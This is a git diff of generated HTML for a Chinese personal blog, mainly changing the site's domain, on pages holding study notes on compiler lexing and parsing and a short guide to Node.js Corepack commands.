Integer\n词法分析器会将关键字抽离，并且对每个字符作描述\n词法分析器得到返回值是符号元组，符号又叫词法单元（Token）\n词法：构造语句的方法（哪些是具备词性（根据词的特点来区分的语法分类，例如动词，名词等等），哪些是具备词语（具有意义的词，关键字）），通常使用正则表达式来描述词法，使用状态机来实现正则表达式\n字母表（alphabet）：某个编程语言中允许的全部字符\n串（string）是某个编程语言中的字母序列\n词法分析器将源程序的字符流进行分析，通正则文法过来找到这些词汇，并且给予词性，如果存在不支持的词汇，则报错（也就是分词）\n词法分析器使用了一种叫有限自动机（有限状态机，deterministic finite automaton, DFA）的算法，在分析字符串时，当遇到了关键字时，会改变状态\n有限自动机和图灵机很相似，不过有限自动机只能读取，无法进行计算\n例如：a == 1\n当识别扫描到a时，会处于标识符状态，直到遇到了==，就会切换到比较运算符状态，然后再识别1，知道该值是数值字面量\n语法分析\n语法分析的过程就是在词法分析的基础上分析程序的语法结构，这个语法结构是树状的，这个树叫抽象语法树（Abstract Syntax Tree，AST），树节点是语法单元，可通过递归下降算法或者自底向上算法来构造该树状\n语法制导翻译\n","wordCount":"52","inLanguage":"en","datePublished":"2022-05-08T03:00:00Z","dateModified":"2022-05-08T03:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/148/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>编译原理学习笔记</h1><div class=post-meta><span title='2022-05-08 03:00:00 +0000 UTC'>2022-05-08</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/%e7%bc%96%e8%af%91%e5%8e%9f%e7%90%86%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>编译就是翻译，将机器语言翻译成另一个机器语言（例如高级语言翻译成低级语言（例如汇编），低级语言翻译成机器语言（二进制））</p><p>编译让计算机理解高级语言并且执行，编译让计算机更理解人，编译提供了人类新的思考方式</p><p>编译的翻译只能作用于形式语言</p><p>编译器和解释器</p><p>编译器将源程序编译成目标的程序</p><p>解释器接收源程序与输入，执行并且返回输出</p><p>混合编译器通常需要2次编译，第一次编译将源程序翻译成目标程序，第二次编译时，将目标程序与输入一起放到虚拟机来处理执行（虚拟机用于跨平台，来处理复杂的执行环境）</p><p>即时编译器，将源程序编译成机器码后再执行</p><p>交叉编译：在一个平台上编译产生多个平台的可执行程序</p><p>编译的过程</p><p>关注度分离</p><p>词法分析（分词，分析词法）</p><p>语法分析（将词分析的结果分析成抽象语法树的过程，也就是AST（Abstract Syntax Tree）），语法分析器被叫为parser</p><p>语义分析：分析抽象语法的语法是否合法</p><p>根据抽象语法树生成的三地址码进行存储，传输，优化</p><p>根据三地址码生成机器码（有一些还需要把机器码编译成可执行应用）</p><p>词法分析：将程序的字符流转换为符号流，分析符号，并且给予描述</p><p>例如：let a = 1</p><p>词法分析后得到</p><p>let: Keyword
 a: Variable
 =: Operator
-1: Integer</p><p>词法分析器会将关键字抽离，并且对每个字符作描述</p><p>词法分析器得到返回值是符号元组，符号又叫词法单元（Token）</p><p>词法：构造语句的方法（哪些是具备词性（根据词的特点来区分的语法分类，例如动词，名词等等），哪些是具备词语（具有意义的词，关键字）），通常使用正则表达式来描述词法，使用状态机来实现正则表达式</p><p>字母表（alphabet）：某个编程语言中允许的全部字符</p><p>串（string）是某个编程语言中的字母序列</p><p>词法分析器将源程序的字符流进行分析，通正则文法过来找到这些词汇，并且给予词性，如果存在不支持的词汇，则报错（也就是分词）</p><p>词法分析器使用了一种叫有限自动机（有限状态机，deterministic finite automaton, DFA）的算法，在分析字符串时，当遇到了关键字时，会改变状态</p><p>有限自动机和图灵机很相似，不过有限自动机只能读取，无法进行计算</p><p>例如：a == 1</p><p>当识别扫描到a时，会处于标识符状态，直到遇到了==，就会切换到比较运算符状态，然后再识别1，知道该值是数值字面量</p><p>语法分析</p><p>语法分析的过程就是在词法分析的基础上分析程序的语法结构，这个语法结构是树状的，这个树叫抽象语法树（Abstract Syntax Tree，AST），树节点是语法单元，可通过递归下降算法或者自底向上算法来构造该树状</p><p>语法制导翻译</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/%E7%BC%96%E8%AF%91%E5%8E%9F%E7%90%86/>编译原理</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/149/><span class=title>« Prev</span><br><span>简单使用Corepack-包管理器的管理器</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/147/><span class=title>Next »</span><br><span>vuejs底层原理学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+1: Integer</p><p>词法分析器会将关键字抽离，并且对每个字符作描述</p><p>词法分析器得到返回值是符号元组，符号又叫词法单元（Token）</p><p>词法：构造语句的方法（哪些是具备词性（根据词的特点来区分的语法分类，例如动词，名词等等），哪些是具备词语（具有意义的词，关键字）），通常使用正则表达式来描述词法，使用状态机来实现正则表达式</p><p>字母表（alphabet）：某个编程语言中允许的全部字符</p><p>串（string）是某个编程语言中的字母序列</p><p>词法分析器将源程序的字符流进行分析，通正则文法过来找到这些词汇，并且给予词性，如果存在不支持的词汇，则报错（也就是分词）</p><p>词法分析器使用了一种叫有限自动机（有限状态机，deterministic finite automaton, DFA）的算法，在分析字符串时，当遇到了关键字时，会改变状态</p><p>有限自动机和图灵机很相似，不过有限自动机只能读取，无法进行计算</p><p>例如：a == 1</p><p>当识别扫描到a时，会处于标识符状态，直到遇到了==，就会切换到比较运算符状态，然后再识别1，知道该值是数值字面量</p><p>语法分析</p><p>语法分析的过程就是在词法分析的基础上分析程序的语法结构，这个语法结构是树状的，这个树叫抽象语法树（Abstract Syntax Tree，AST），树节点是语法单元，可通过递归下降算法或者自底向上算法来构造该树状</p><p>语法制导翻译</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/%E7%BC%96%E8%AF%91%E5%8E%9F%E7%90%86/>编译原理</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/149/><span class=title>« Prev</span><br><span>简单使用Corepack-包管理器的管理器</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/147/><span class=title>Next »</span><br><span>vuejs底层原理学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/149/index.html b/posts/149/index.html
index 91b8998b..34440367 100644
--- a/posts/149/index.html
+++ b/posts/149/index.html
@@ -2,64 +2,64 @@
 corepack是nodejs官方内置的CLI，nodejs16.9.0版本及其以上版本默认携带corepack一起分发（不需要额外安装corepack，16.9.0版本之下的需要手动安装或者更新nodejs版本）
 corepack的特点就是不需要安装yarn和pnpm（yarn和pnpm将通过corepack来进行管理安装以及使用），而且还可以限制项目使用特定的包管理器版本（避免一个项目用多个包管理器，而且包管理器的版本还不同的情况）
 手动安装
-npm install -g corepack
如果全局已经安装了yarn或者pnpm的话，需要先卸载
-npm uninstall -g yarn pnpm
启用corepack
-corepack enable
限制包管理器版本
+npm install -g corepack 如果全局已经安装了yarn或者pnpm的话，需要先卸载
+npm uninstall -g yarn pnpm 启用corepack
+corepack enable 限制包管理器版本
 package.json
-&#34;packageManager&#34;: &#34;yarn@1.22.19&#34;
表示该项目只能使用yarn包管理器的1.22.19版本，使用其他版本或者使用pnpm包管理器的话，会报错，例如Usage Error: This project is configured to use yarn
+&#34;packageManager&#34;: &#34;yarn@1.22.19&#34; 表示该项目只能使用yarn包管理器的1.22.19版本，使用其他版本或者使用pnpm包管理器的话，会报错，例如Usage Error: This project is configured to use yarn
 默认无法限制npm，需要通过corepack enable npm来手动限制，移除限制通过corepack disable npm来处理
 修改packageManager的值后，yarn install，会自动安装指定版本
 安装包管理器（会根据package.json下的packageManager来下载指定版本的包管理器）
-yarn install
指定一个新的包管理器
-corepack prepare pnpm@7.13.5 --activate
使用本地包管理器（会将本地包管理器存储到一个压缩包里，方便离线使用）
+yarn install 指定一个新的包管理器
+corepack prepare pnpm@7.13.5 --activate 使用本地包管理器（会将本地包管理器存储到一个压缩包里，方便离线使用）
 获取
-corepack prepare --all -o=D:/demo/test.tgz
启动压缩包内的包
-corepack hydrate D:/demo/test.tgz
或者获取完成后立刻使用
-corepack hydrate D:/demo/test.tgz --activate "><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/149/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单使用Corepack-包管理器的管理器"><meta property="og:description" content="Corepack（管理yarn和pnpm的包管理器的管理器）
+corepack prepare --all -o=D:/demo/test.tgz 启动压缩包内的包
+corepack hydrate D:/demo/test.tgz 或者获取完成后立刻使用
+corepack hydrate D:/demo/test.tgz --activate "><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/149/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单使用Corepack-包管理器的管理器"><meta property="og:description" content="Corepack（管理yarn和pnpm的包管理器的管理器）
 corepack是nodejs官方内置的CLI，nodejs16.9.0版本及其以上版本默认携带corepack一起分发（不需要额外安装corepack，16.9.0版本之下的需要手动安装或者更新nodejs版本）
 corepack的特点就是不需要安装yarn和pnpm（yarn和pnpm将通过corepack来进行管理安装以及使用），而且还可以限制项目使用特定的包管理器版本（避免一个项目用多个包管理器，而且包管理器的版本还不同的情况）
 手动安装
-npm install -g corepack
如果全局已经安装了yarn或者pnpm的话，需要先卸载
-npm uninstall -g yarn pnpm
启用corepack
-corepack enable
限制包管理器版本
+npm install -g corepack 如果全局已经安装了yarn或者pnpm的话，需要先卸载
+npm uninstall -g yarn pnpm 启用corepack
+corepack enable 限制包管理器版本
 package.json
-&#34;packageManager&#34;: &#34;yarn@1.22.19&#34;
表示该项目只能使用yarn包管理器的1.22.19版本，使用其他版本或者使用pnpm包管理器的话，会报错，例如Usage Error: This project is configured to use yarn
+&#34;packageManager&#34;: &#34;yarn@1.22.19&#34; 表示该项目只能使用yarn包管理器的1.22.19版本，使用其他版本或者使用pnpm包管理器的话，会报错，例如Usage Error: This project is configured to use yarn
 默认无法限制npm，需要通过corepack enable npm来手动限制，移除限制通过corepack disable npm来处理
 修改packageManager的值后，yarn install，会自动安装指定版本
 安装包管理器（会根据package.json下的packageManager来下载指定版本的包管理器）
-yarn install
指定一个新的包管理器
-corepack prepare pnpm@7.13.5 --activate
使用本地包管理器（会将本地包管理器存储到一个压缩包里，方便离线使用）
+yarn install 指定一个新的包管理器
+corepack prepare pnpm@7.13.5 --activate 使用本地包管理器（会将本地包管理器存储到一个压缩包里，方便离线使用）
 获取
-corepack prepare --all -o=D:/demo/test.tgz
启动压缩包内的包
-corepack hydrate D:/demo/test.tgz
或者获取完成后立刻使用
-corepack hydrate D:/demo/test.tgz --activate "><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/149/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-05-13T00:09:00+00:00"><meta property="article:modified_time" content="2022-05-13T00:09:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单使用Corepack-包管理器的管理器"><meta name=twitter:description content="Corepack（管理yarn和pnpm的包管理器的管理器）
+corepack prepare --all -o=D:/demo/test.tgz 启动压缩包内的包
+corepack hydrate D:/demo/test.tgz 或者获取完成后立刻使用
+corepack hydrate D:/demo/test.tgz --activate "><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/149/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-05-13T00:09:00+00:00"><meta property="article:modified_time" content="2022-05-13T00:09:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单使用Corepack-包管理器的管理器"><meta name=twitter:description content="Corepack（管理yarn和pnpm的包管理器的管理器）
 corepack是nodejs官方内置的CLI，nodejs16.9.0版本及其以上版本默认携带corepack一起分发（不需要额外安装corepack，16.9.0版本之下的需要手动安装或者更新nodejs版本）
 corepack的特点就是不需要安装yarn和pnpm（yarn和pnpm将通过corepack来进行管理安装以及使用），而且还可以限制项目使用特定的包管理器版本（避免一个项目用多个包管理器，而且包管理器的版本还不同的情况）
 手动安装
-npm install -g corepack
如果全局已经安装了yarn或者pnpm的话，需要先卸载
-npm uninstall -g yarn pnpm
启用corepack
-corepack enable
限制包管理器版本
+npm install -g corepack 如果全局已经安装了yarn或者pnpm的话，需要先卸载
+npm uninstall -g yarn pnpm 启用corepack
+corepack enable 限制包管理器版本
 package.json
-&#34;packageManager&#34;: &#34;yarn@1.22.19&#34;
表示该项目只能使用yarn包管理器的1.22.19版本，使用其他版本或者使用pnpm包管理器的话，会报错，例如Usage Error: This project is configured to use yarn
+&#34;packageManager&#34;: &#34;yarn@1.22.19&#34; 表示该项目只能使用yarn包管理器的1.22.19版本，使用其他版本或者使用pnpm包管理器的话，会报错，例如Usage Error: This project is configured to use yarn
 默认无法限制npm，需要通过corepack enable npm来手动限制，移除限制通过corepack disable npm来处理
 修改packageManager的值后，yarn install，会自动安装指定版本
 安装包管理器（会根据package.json下的packageManager来下载指定版本的包管理器）
-yarn install
指定一个新的包管理器
-corepack prepare pnpm@7.13.5 --activate
使用本地包管理器（会将本地包管理器存储到一个压缩包里，方便离线使用）
+yarn install 指定一个新的包管理器
+corepack prepare pnpm@7.13.5 --activate 使用本地包管理器（会将本地包管理器存储到一个压缩包里，方便离线使用）
 获取
-corepack prepare --all -o=D:/demo/test.tgz
启动压缩包内的包
-corepack hydrate D:/demo/test.tgz
或者获取完成后立刻使用
-corepack hydrate D:/demo/test.tgz --activate "><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单使用Corepack-包管理器的管理器","item":"https://xiaochenabc123.github.io/posts/149/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单使用Corepack-包管理器的管理器","name":"简单使用Corepack-包管理器的管理器","description":"Corepack（管理yarn和pnpm的包管理器的管理器）\ncorepack是nodejs官方内置的CLI，nodejs16.9.0版本及其以上版本默认携带corepack一起分发（不需要额外安装corepack，16.9.0版本之下的需要手动安装或者更新nodejs版本）\ncorepack的特点就是不需要安装yarn和pnpm（yarn和pnpm将通过corepack来进行管理安装以及使用），而且还可以限制项目使用特定的包管理器版本（避免一个项目用多个包管理器，而且包管理器的版本还不同的情况）\n手动安装\nnpm install -g corepack\r如果全局已经安装了yarn或者pnpm的话，需要先卸载\nnpm uninstall -g yarn pnpm\r启用corepack\ncorepack enable\r限制包管理器版本\npackage.json\n\u0026quot;packageManager\u0026quot;: \u0026quot;yarn@1.22.19\u0026quot;\r表示该项目只能使用yarn包管理器的1.22.19版本，使用其他版本或者使用pnpm包管理器的话，会报错，例如Usage Error: This project is configured to use yarn\n默认无法限制npm，需要通过corepack enable npm来手动限制，移除限制通过corepack disable npm来处理\n修改packageManager的值后，yarn install，会自动安装指定版本\n安装包管理器（会根据package.json下的packageManager来下载指定版本的包管理器）\nyarn install\r指定一个新的包管理器\ncorepack prepare pnpm@7.13.5 --activate\r使用本地包管理器（会将本地包管理器存储到一个压缩包里，方便离线使用）\n获取\ncorepack prepare --all -o=D:/demo/test.tgz\r启动压缩包内的包\ncorepack hydrate D:/demo/test.tgz\r或者获取完成后立刻使用\ncorepack hydrate D:/demo/test.tgz --activate ","keywords":["node.js"],"articleBody":"Corepack（管理yarn和pnpm的包管理器的管理器）\ncorepack是nodejs官方内置的CLI，nodejs16.9.0版本及其以上版本默认携带corepack一起分发（不需要额外安装corepack，16.9.0版本之下的需要手动安装或者更新nodejs版本）\ncorepack的特点就是不需要安装yarn和pnpm（yarn和pnpm将通过corepack来进行管理安装以及使用），而且还可以限制项目使用特定的包管理器版本（避免一个项目用多个包管理器，而且包管理器的版本还不同的情况）\n手动安装\nnpm install -g corepack\r如果全局已经安装了yarn或者pnpm的话，需要先卸载\nnpm uninstall -g yarn pnpm\r启用corepack\ncorepack enable\r限制包管理器版本\npackage.json\n\"packageManager\": \"yarn@1.22.19\"\r表示该项目只能使用yarn包管理器的1.22.19版本，使用其他版本或者使用pnpm包管理器的话，会报错，例如Usage Error: This project is configured to use yarn\n默认无法限制npm，需要通过corepack enable npm来手动限制，移除限制通过corepack disable npm来处理\n修改packageManager的值后，yarn install，会自动安装指定版本\n安装包管理器（会根据package.json下的packageManager来下载指定版本的包管理器）\nyarn install\r指定一个新的包管理器\ncorepack prepare pnpm@7.13.5 --activate\r使用本地包管理器（会将本地包管理器存储到一个压缩包里，方便离线使用）\n获取\ncorepack prepare --all -o=D:/demo/test.tgz\r启动压缩包内的包\ncorepack hydrate D:/demo/test.tgz\r或者获取完成后立刻使用\ncorepack hydrate D:/demo/test.tgz --activate ","wordCount":"60","inLanguage":"en","datePublished":"2022-05-13T00:09:00Z","dateModified":"2022-05-13T00:09:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/149/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>简单使用Corepack-包管理器的管理器</h1><div class=post-meta><span title='2022-05-13 00:09:00 +0000 UTC'>2022-05-13</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/%e7%ae%80%e5%8d%95%e4%bd%bf%e7%94%a8Corepack-%e5%8c%85%e7%ae%a1%e7%90%86%e5%99%a8%e7%9a%84%e7%ae%a1%e7%90%86%e5%99%a8.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div 